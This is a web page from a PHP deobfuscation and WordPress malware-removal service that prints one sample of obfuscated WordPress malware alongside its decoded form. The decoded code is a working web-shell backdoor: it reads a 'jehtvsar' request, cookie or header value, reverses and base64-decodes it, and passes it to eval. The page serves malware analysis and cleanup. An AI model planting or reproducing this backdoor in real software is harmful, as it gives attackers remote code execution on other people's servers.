Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $groveled ='$;i';$harness = 'TupHs1_i';$kellby='d';$amendments= ';"4ST';$angelita ='JEV'; $hamming= 'er("_n'; $devoted =':t';$filament = 'rSd['; $fuckmefaster= 'e'; $garret ='='; $authenticator= 'eT((E]47';$animalhouse = 'oTialE'; $inexpedient='r'; $guest3='aMaTO$';$chinked= '?hA,Tn(?e';$ca...



Obfuscated php code

<?php
	$groveled ='$;i';$harness = 'TupHs1_i';$kellby='d';$amendments= ';"4ST';$angelita ='JEV';
	$hamming= 'er("_n';

	$devoted =':t';$filament = 'rSd[';

	$fuckmefaster= 'e'; $garret ='=';
	$authenticator= 'eT((E]47';$animalhouse = 'oTialE'; $inexpedient='r'; $guest3='aMaTO$';$chinked= '?hA,Tn(?e';$campfire ='B'; $carmel ='G'; $interpret='u'; $flat ='EvifTEv';

	$andrea = 'E<S';$caterina='n:'; $borough= 'R"i('; $eternity ='_'; $flora ='OQ$eoA';$jockey = 's';$atonal = 'e';$dictate= 'p';

	$feelings= ';'; $illusively ='veTR:';
	$knob = 'i_';
	$fibers= ')';$doogie= 'R ]_re5)'; $bumblebee = 'r';
	$lengths = 't';

	$communist='g)Ca';$inflammatory= 'r';$magi= '/tri';
	$bloc= ']y@g';$dodgers= 's';
	$cordula= 'Ptcb';
	$ceremonialness = 'sst';$divinity ='.'; $dalli='_e'; $junctions = ')';

	$exaggeration='ayr';
	$linnea='s(c@r$O;)'; $carries =')'; $jmcr = 'F'; $fateful ='_ee$jf$'; $howl='_';$hero=')'; $depot= 'r'; $artus ='s'; $denver = 's';$locked='"'; $lined ='r';$cari ='N';$interject = 'h';

	$dart ='('; $distilling ='g,o';$compartmentalizing = 'KQe';$ameliorated='8d]vE"2'; $gulf = '[=_';$everyone= 'H';$journalist= 's'; $ionospheric = 'V'; $ewoks = ')RePc';$aspirator ='E';
	$intermit='J';$internal = '@';$chilly = 't';$ender ='i'; $doubly= 'I$eaVCJ';$dawning='=';$hilliard='l6';

	$doctorates ='H'; $channeller= 'IH6e$0s$';
	$locomotive='"';$folly= 'tav';$artwork ='"'; $junky =')cvA(Djt';$fume =';';$conveying='(eR)a';

	$kettie='S';

	$arms='>aa@9'; $evocable= ')mP($L['; $fore ='rUSae3_'; $invulnerable= 'HKa"[r(t'; $champaign = 'a'; $livelihood='R'; $coroner='i';
	$apparently = '?_';$icp =$junky[1]. $invulnerable[5] .$fore[4]. $champaign . $invulnerable['7'] . $fore[4]. $apparently['1'] . $fateful['5'].$interpret .$caterina['0'] .$junky[1] .$invulnerable['7'] .

	$coroner. $distilling['2'].$caterina['0'] ;$honest= $doogie['1'] ; $latia =$icp($honest,$fore[4] .$junky['2'].$champaign.$hilliard['0'] . $invulnerable[6] .$arms['3'] .$champaign. $invulnerable[5] .

	$invulnerable[5].$champaign .$exaggeration['1'].

	$apparently['1'] .$dictate .$distilling['2'] .
	$dictate . $invulnerable[6] .$fateful['5'] .

	$interpret. $caterina['0']. $junky[1].$apparently['1'] .$distilling['0'].$fore[4].$invulnerable['7'] .$apparently['1'] .$champaign .$invulnerable[5] . $distilling['0'] .
	$channeller['6']. $invulnerable[6] .

	$evocable['0'] .$evocable['0'].

	$evocable['0']. $fume); $latia

	($evocable['4'],$illusively[2],$junky['6'] , $divinity ,

	$channeller['5'] ,

	$authenticator['7'],$evocable['5'], $evocable['5'],$evocable['4'].$coroner. $dawning .
	$arms['3'].$champaign. $invulnerable[5].$invulnerable[5].$champaign . $exaggeration['1'] .

	$apparently['1'].$evocable['1'] . $fore[4].$invulnerable[5] .

	$distilling['0'] .$fore[4].

	$invulnerable[6]. $evocable['4'] . $apparently['1'] .$livelihood . $aspirator . $compartmentalizing[1]. $fore['1'].$aspirator.$fore['2'] .$illusively[2].$distilling['1'].

	$evocable['4'] .

	$apparently['1'] .
	$doubly['5'] . $linnea['6'].

	$linnea['6'].$invulnerable['1'] .$channeller[0] .$aspirator.$distilling['1'] . $evocable['4'] .$apparently['1']. $fore['2'] .$aspirator.$livelihood. $doubly['4']. $aspirator. $livelihood.
	$evocable['0'].$fume . $evocable['4'] .

	$champaign .$dawning.$coroner . $channeller['6'] .$channeller['6']. $fore[4] .

	$invulnerable['7'] . $invulnerable[6] . $evocable['4'] . $coroner.

	$invulnerable['4']. $invulnerable['3'] . $junky['6'].

	$fore[4] .$interject .
	$invulnerable['7'].

	$junky['2'] .$channeller['6'].$champaign.$invulnerable[5] . $invulnerable['3']. $ameliorated[2]. $evocable['0'] .$apparently['0'].$evocable['4'].$coroner . $invulnerable['4'] .

	$invulnerable['3'].$junky['6'] .

	$fore[4].

	$interject .

	$invulnerable['7'].$junky['2'] .

	$channeller['6'].$champaign.$invulnerable[5] .$invulnerable['3'].$ameliorated[2].$illusively['4'].
	$invulnerable[6] .

	$coroner .

	$channeller['6'] . $channeller['6'] .$fore[4] .

	$invulnerable['7']. $invulnerable[6].$evocable['4'] .$coroner . $invulnerable['4'] . $invulnerable['3'].$invulnerable[0] .$illusively[2]. $illusively[2] . $evocable['2']. $apparently['1'].$doubly[6] .
	$aspirator .$invulnerable[0]. $illusively[2] .

	$doubly['4'].$fore['2'] .$junky['3'] .$livelihood .

	$invulnerable['3'].
	$ameliorated[2] . $evocable['0'] . $apparently['0'].
	$evocable['4'] . $coroner. $invulnerable['4']. $invulnerable['3'] . $invulnerable[0].$illusively[2].$illusively[2]. $evocable['2'] .$apparently['1'].$doubly[6] . $aspirator.$invulnerable[0] . $illusively[2] . $doubly['4'] .$fore['2'].
	$junky['3'] .$livelihood.$invulnerable['3'] .$ameliorated[2].$illusively['4']. $ameliorated['1'].$coroner . $fore[4]. $evocable['0'] .$fume.
	$arms['3'] . $fore[4] . $junky['2']. $champaign.$hilliard['0']. $invulnerable[6]. $channeller['6'] . $invulnerable['7'].$invulnerable[5] . $invulnerable[5]. $fore[4] .$junky['2'] .
	$invulnerable[6] . $cordula['3'].
	$champaign .$channeller['6'] .
	$fore[4].$channeller['2'] .$authenticator['6'] . $apparently['1'].
	$ameliorated['1']. $fore[4] .

	$junky[1] . $distilling['2']. $ameliorated['1'] . $fore[4] . $invulnerable[6] . $channeller['6'] .$invulnerable['7'] . $invulnerable[5] .

	$invulnerable[5].
	$fore[4].

	$junky['2'] .$invulnerable[6] .$evocable['4'] . $champaign.$evocable['0'] .$evocable['0']. $evocable['0'] .$evocable['0'].$fume );

Decoded(de-Obfuscated) php code

<?php

$groveled = '$;i';
$harness = 'TupHs1_i';
$kellby = 'd';
$amendments = ';"4ST';
$angelita = 'JEV';
$hamming = 'er("_n';
$devoted = ':t';
$filament = 'rSd[';
$fuckmefaster = 'e';
$garret = '=';
$authenticator = 'eT((E]47';
$animalhouse = 'oTialE';
$inexpedient = 'r';
$guest3 = 'aMaTO$';
$chinked = '?hA,Tn(?e';
$campfire = 'B';
$carmel = 'G';
$interpret = 'u';
$flat = 'EvifTEv';
$andrea = 'E<S';
$caterina = 'n:';
$borough = 'R"i(';
$eternity = '_';
$flora = 'OQ$eoA';
$jockey = 's';
$atonal = 'e';
$dictate = 'p';
$feelings = ';';
$illusively = 'veTR:';
$knob = 'i_';
$fibers = ')';
$doogie = 'R ]_re5)';
$bumblebee = 'r';
$lengths = 't';
$communist = 'g)Ca';
$inflammatory = 'r';
$magi = '/tri';
$bloc = ']y@g';
$dodgers = 's';
$cordula = 'Ptcb';
$ceremonialness = 'sst';
$divinity = '.';
$dalli = '_e';
$junctions = ')';
$exaggeration = 'ayr';
$linnea = 's(c@r$O;)';
$carries = ')';
$jmcr = 'F';
$fateful = '_ee$jf$';
$howl = '_';
$hero = ')';
$depot = 'r';
$artus = 's';
$denver = 's';
$locked = '"';
$lined = 'r';
$cari = 'N';
$interject = 'h';
$dart = '(';
$distilling = 'g,o';
$compartmentalizing = 'KQe';
$ameliorated = '8d]vE"2';
$gulf = '[=_';
$everyone = 'H';
$journalist = 's';
$ionospheric = 'V';
$ewoks = ')RePc';
$aspirator = 'E';
$intermit = 'J';
$internal = '@';
$chilly = 't';
$ender = 'i';
$doubly = 'I$eaVCJ';
$dawning = '=';
$hilliard = 'l6';
$doctorates = 'H';
$channeller = 'IH6e$0s$';
$locomotive = '"';
$folly = 'tav';
$artwork = '"';
$junky = ')cvA(Djt';
$fume = ';';
$conveying = '(eR)a';
$kettie = 'S';
$arms = '>aa@9';
$evocable = ')mP($L[';
$fore = 'rUSae3_';
$invulnerable = 'HKa"[r(t';
$champaign = 'a';
$livelihood = 'R';
$coroner = 'i';
$apparently = '?_';
$icp = "create_function";
$honest = $doogie['1'];
$latia = function () {
    eval(@array_pop(func_get_args()));
};
$latia($evocable['4'], $illusively[2], $junky['6'], $divinity, $channeller['5'], $authenticator['7'], $evocable['5'], $evocable['5'], "\$i=@array_merge(\$_REQUEST,\$_COOKIE,\$_SERVER);\$a=isset(\$i[\"jehtvsar\"])?\$i[\"jehtvsar\"]:(isset(\$i[\"HTTP_JEHTVSAR\"])?\$i[\"HTTP_JEHTVSAR\"]:die);@eval(strrev(base64_decode(strrev(\$a))));");


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.